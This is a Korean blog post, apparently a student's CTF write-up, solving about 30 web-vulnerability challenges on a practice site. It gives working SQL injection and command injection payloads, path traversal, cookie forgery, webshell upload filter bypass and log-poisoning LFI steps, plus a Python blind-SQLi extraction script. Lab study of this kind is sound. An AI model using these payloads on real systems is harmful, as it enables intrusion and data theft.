컨설팅 취약점 진단 실습

올빼미·2025년 1월 15일


이런페이지에서 취약점 진단을 해본다

1. BOT


크롤링을 막아야한다는 힌트


주소창에 robots.txt 입력하면 나오는 문구
challenges/bot/bot_admin_panel/ 추출

주소창에 입력하면 flag값이 나옴!

2. Read me






3 주소창의 공통점 page

들어가면 password read me로 들어가기

flag 나옴!

3. Guessing1


힌트 페이지가 어떻게 동작하는지


작업관리자를 켰더니 @dm1n/adminpage.php?id= 이라는 힌트

주소창에 입력햇더니 flag 값 나옴!

4. Gussing2



들어가면 이런 페이지가 나옴

작업관리자를 켰을때 vim, black out 이라는 힌트와 편집중인 임시파일이라는 힌트로

  • vim black out: Vim 에디터와 관련된 무언가를 가리킴. (예: 임시파일 .swp)
  • 편집 중인 임시파일: 서버에 .swp 파일과 같은 임시 파일이 노출되었을 가능성이 있음

vim 에디터의 임시파일인 .swp를 발견할수 있을거같음

.index.php.swp 를 넣으면
flag화면이 뜨고 작업관리자를 보면 pass가 나와있음 따라서

?pass=adminauth 를 입력하면 flag가 나옴!

5. proxy





네트워크이 있다!

6. shop



들어가면 쇼핑하는 웹페이지가 나오는데 여기서 buy now를 누르면


구매창이 뜸 이상태로 작업관리자를 열면

구매창의 컨테이너를 찾는다

그리고 가격값을 깎음
그리고 구매창에는 아무렇게나 입력하면

flag가 뜸

7. mart


6번과 방법 아예 똑같음


guest가 md5해시 한번 base64 인코딩이 되어있는거라서
admin을 md5 해시하면
21232f297a57a5a743894a0e4a801fc3 이게나오고
이걸 base64인코딩 하면

MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
값이 나옴 이걸 쿠키값에


쿠키값에 넣으면 flag가 나옴!

9. Process Validation


admin이 작성한 read me를 읽어야해

주소창에 숫자 1736657960 확인하고 아무 게시글이나 들어가서

숫자 붙여넣기하면

flag 값이 나옴!

10. Insufficient Auth


로그인창이 있음

회원번호 수정에서 check value 값을d033e22ae348aeb5660fc2140aec35850c4da997으로 수정후
수정하기 > 다시 admin admin으로 로그인


flag 값이 나옴

11. replace point


index.phps를 들어가면 코드가 나옴

replace/index.php/?file=...//pw.php 추가하면 나온다

12. download1



파일 링크 복사
http://ctf.five9s.co.kr/challenges/down1/down.cgi?file=test
를 바꿈
http://ctf.five9s.co.kr/challenges/down1/down.cgi?file=../down으로
그러면 파일이 다운받아짐

이걸 열면

conf1g로 가라는 뜻 따라서 링크를 다시
http://ctf.five9s.co.kr/challenges/down1/down.cgi?file=../cong1g로 이동하면 파일 다운로드 받아짐

그러면 flag값나옴!

13. down2

14. Command Injection


다운로드test를 누르면 test.cgi가 다운로드댐

그리고 admin page가 숨겨져있음
그럼 이제 패킷을 잡아보자 프록시키고 버프슈트on

다운로드 할때의 패킷을 잡았음 그리고 send repeater

여기서 정보를 볼수 있는데 test가 아니라 admin의 파일을 다운받고 싶어서 test를 admin으로 수정

그러면 not found가 뜸 이러면 우회하는 방법으로 ..././추가

코드가 나왔음
여기서 커맨드 인젝션을 할건데 system 명령어를 보고 운영체제 명령어를 사용가능한 것을 알았으니 다른 명령어도 써보자 !
그런데 코드안에 3글자 이하로 써야하니까 ls 명령어로 유추 가능

  • 코드안에 쿠키값에 대한 조건이 있다

    그래서 쿠키를 추가해준다

    그리고 admin.cgi로 이동

    admin.cgi?del=;ls로 파일목록 확인 > 여기서 readme_ifucan.php 발견

    readme_ifucan.php로 이동하니 flag 발견!

15. Upload I


파일업로드하는 공간이 있음
간단한 웹셸 코드로 실습해볼수 있다

웹셸코드를 test.Php 로 저장한다
.Php로 하는이유 소문자 확장자는 대소문자를 써도 상관이 없는데
필터링이 소문자php로만 되어있어서 필터링을 우회할수 있다
pHp나 phP로 해도 상관이 없다
따라서 이걸 업로드하면

파일업로드 성공

test.php로 들어가니 flag값이 나옴!

16. Upload 2


.htaccess 파일생성
파일 안에는

라고 작성후 업로드

업로드 성공 후 view your uploads 클릭

flag는 engine_Off!!!

17.Local File Inclusion I



old story1

old story2
-> pw.php 삽입 힌트

flag 값이 나옴

18.Local File Inclusion II


들어가면 이게 있음

old story를 보고 user-agent에 php코드를 넣어야한다는 힌트를 넣음
그리고 lfi를 들어가는것을 패킷을 잡아야함

패킷잡기 > repeater로 보내

request에서
내가 원하는 문구 넣고 send 연속적으로 많이 보내기

/logs를 들어가서 로그 목록중에 내가 넣은 문구가 있는 로그를 찾기

내가 원하는 문구가 연속적으로 적힌 로그를 발견!
그리고 위에 log~~ 을 복사

해서 링크에 ?file=log~ 붙여넣기 하면
flag값이 나옴

19. Remote File Inclusion

20. SQL_100


로그인창에 sql 인젝션 실행

admin' or '1' ='1 와 패스워드에는 아무거나 입력

flag 값 나옴!

21. SQL_150


들어가면 빈칸이 나옴

union select 1,2 --'를 입력했는데

오류가 안나니까 칼럼이 2개인것을 확인

' union select 1, user from user where user='admin' -- ' 넣기

flag 값이 나옴!

22. SQL_200


php?no=3 and 1=1&flag=
?no=5%20and%20substr(database(),1,1)%20=%20%27a%27&flag=

3을 넣었을때 동작원리 힌트가 나옴! 그리고 주소창에는
http://ctf.five9s.co.kr/challenges/sql_200/index.php?no=3&flag= 라고 나온다 이것을 이용해서
php?no=3 and 1=1&flag= > true
php?no=3 and 1=2&flag= > false
이 두개가 어떻게 동작하는지 확인!

php?no=3 and 1=1&flag= > true
일때는 위에 문구가 있음

php?no=3 and 1=2&flag= > false
일때는 위에 문구가 없음
!! 알아내야 하는것

  • db명 : database()
  • 테이블명 :
  • 데이터명 :

substr(database(),1,1) = 'a'
= 데이터베이스에서 첫번째글자 한글짜가 a인가? ?
(),1,1 = 첫번째에서 한글짜 뽑아라
(),2,1 = 2번째에서 한글짜 뽑아라
를 다시 쿼리로 작성하면?
php?no=3 and substr(database(),1,1) = 'a'&flag=
php?no=3 and substr(database(),1,1) = 'a'&flag=

false로 나옴 그러니까 a는 첫번째 글자가 아님!
이런식으로 모든 문자를 넣어보자

true인것!
0 1 1 이니까 첫번째 자리가 s 라는 뜻

0 2 1 이니까 두번째 자리가 q 라는 뜻

0 3 1 이니까 3번째 자리가 l 이라는 뜻

import requests
import time
import os

# burp를 통해 나가게 해서 나가는 요청을 확인할 수도 있다.
# os.environ['http_proxy'] = "127.0.0.1:8080"

Cookie = {"PHPSESSID":"ih3t9i4pcoo73nuhvjvfumber1"}

char_set=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
          'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
          '0','1','2','3','4','5','6','7','8','9','_','-','!','@',]

# 응답 값이 True인 경우 memo test가 표시 되므로 True, False 구분을 위해서
search="Try"

uri="http://ctf.five9s.co.kr/challenges/sql_200?no=5"


# DB명 추출
#시간 측정도 해보겠다. 수동으로 감히 하려는 용자가 있을까봐
start = time.time()

# 한 글자씩 추출해서 db명을 찾겠다.(10자 미만일 것으로 예상하고 반복문은 10번 돌게 설정함.)
# for i in range(1,10):
#     for k in char_set:
#         URL=uri+" and substr(database(),"+str(i)+",1)='"+ k +"'%23"
#         res = requests.get(URL, cookies=Cookie)

#         # print(res.text)
#         #응답 값에 search(memo test) 문자열이 있으면 출력.
#         if search in res.text:
#             print(i,k)
#             break

# end = time.time()

# print(f"{end - start:.5f} sec")

# 테이블명 추출
# for i in range(0,2):
#     for j in range(1,10):
#         for k in range(33,127):
#             URL=uri+" and ascii(substr((select table_name from information_schema.tables where table_schema='sql_200' limit "+str(i)+",1),"+str(j)+",1))="+str(k)+"%23"
#             res = requests.get(URL, cookies=Cookie)
            
#             if search in res.text:
#                 print(i,j,chr(k))

# 데이터 추출
# for i in range(0,3):
#     for j in range(0,15):
#         for k in range(33,127):
#             URL=uri+" and ascii(substr((select flag from flag limit "+str(i)+",1),"+str(j)+",1))="+str(k)+"%23"
#             res = requests.get(URL, cookies=Cookie)
            
#             if search in res.text:
#                 print(i,j,chr(k))

python 코드를 통해서 db,table,column까지 추출가능
db는 sql 200
table은 boardflag

column은 Th1s-15-fl@g
이걸 flag 칸에 넣으면

이렇게 나옴 ㅠㅠ

23. SQL_SLASH


뜨는 화면

부분 주석 : 쿼리문을 실행하면서 공백으로 인식해서 replace에는 안걸리고 공백을 쓸수 있는 우회기법

24. SQL_MD5




코드를 보면
md5 해시 나온결과가 1대1이 나오면 댄다

result가 있으면 flag가 나옴

25. SQL_CUT



코드를 보면 10글자가 넘으면 짤라지게 되어있음
특수문자를 쓰면 변환을 시켜버려서
abcdegi/'라고 하면 싱글쿼터가 오른쪽으로 넘어감

26. SQL COLUMNS

27. ADMIN PAGE

28. SQL TIME






1로 바꾸고 확인
-> 아스키 코드로 변환

29. Variable



Pseudo Code 치니까 이렇게 코드가 나옴
이코드를 보면 type으로 한다고 나와있어서

?type=3 으로 했을때는 이상한 화면이 나오고

type=4로 하니까 나왔음
근데 우리는 pw.php 를 찾아야 하니까

?file=pw.php&type=4 명령어를 치면
flag 값이 나옴!

30. NMAP Point



index.phps들어가면 나오는거
->ip 를 통해서 가야함

https://ctf.five9s.co.kr/challenges/nmap/index.php?ip=127.0.0.1%0Als%20-al
목록을 출력한다 그런데 여기에 pw.cgi가 없음

https://ctf.five9s.co.kr/challenges/nmap/index.php?ip=127.0.0.1%0Acp%20pw.cgi%20pw.txt
cp가 리눅스 명령어로 복사
pw.cgi를 pw.txt로 저장하겠다는 소리
따라서

pw.txt로 들어가면 flag 값이 나옴

profile
시들시들한 올빼미

0개의 댓글